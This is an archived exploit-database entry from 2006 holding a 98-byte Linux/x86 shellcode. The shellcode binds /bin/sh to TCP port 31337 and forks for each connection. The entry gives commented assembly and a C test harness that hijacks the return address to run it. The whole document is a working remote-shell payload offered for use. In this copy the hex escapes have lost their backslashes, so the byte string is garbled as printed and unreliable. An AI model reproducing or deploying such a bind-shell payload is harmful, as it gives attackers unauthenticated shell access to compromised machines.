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# Title : linux/x86 Bind /bin/sh to 31337/tcp + fork() 98 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 Bind /bin/sh to 31337/tcp 80 bytes
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/*
* (linux/x86) bind '/bin/sh' to 31337/tcp + fork() - 98 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x6ax66" // push $0x66
"x58" // pop %eax
"x99" // cltd
"x6ax01" // push $0x1
"x5b" // pop %ebx
"x52" // push %edx
"x53" // push %ebx
"x6ax02" // push $0x2
//
// <_doint>:
//
"x89xe1" // mov %esp,%ecx
"xcdx80" // int $0x80
"x5b" // pop %ebx
"x5d" // pop %ebp
"x52" // push %edx
"x66xbdx69x7a" // mov $0x7a69,%bp (0x7a69 = 31337)
"x0fxcd" // bswap %ebp
"x09xdd" // or %ebx,%ebp
"x55" // push %ebp
"x6ax10" // push $0x10
"x51" // push %ecx
"x50" // push %eax
"x89xe1" // mov %esp,%ecx
"xb0x66" // mov $0x66,%al
"xcdx80" // int $0x80
"xb3x04" // mov $0x4,%bl
"xb0x66" // mov $0x66,%al
"xcdx80" // int $0x80
//
// <_acceptloop>:
//
"x5f" // pop %edi
"x50" // push %eax
"x50" // push %eax
"x57" // push %edi
"x89xe1" // mov %esp,%ecx
"x43" // inc %ebx
"xb0x66" // mov $0x66,%al
"xcdx80" // int $0x80
"x93" // xchg %eax,%ebx
"xb0x02" // mov $0x2,%al
"xcdx80" // int $0x80
"x85xc0" // test %eax,%eax
"x75x1a" // jne <_parent>
"x59" // pop %ecx
//
// <_dup2loop>:
//
"xb0x3f" // mov $0x3f,%al
"xcdx80" // int $0x80
"x49" // dec %ecx
"x79xf9" // jns <_dup2loop>
"xb0x0b" // mov $0xb,%al
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x53" // push %ebx
"xebxb2" // jmp <_doint>
//
// <_parent>:
//
"x6ax06" // push $0x6
"x58" // pop %eax
"xcdx80" // int $0x80
"xb3x04" // mov $0x4,%bl
"xebxc9"; // jmp <_acceptloop>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-21]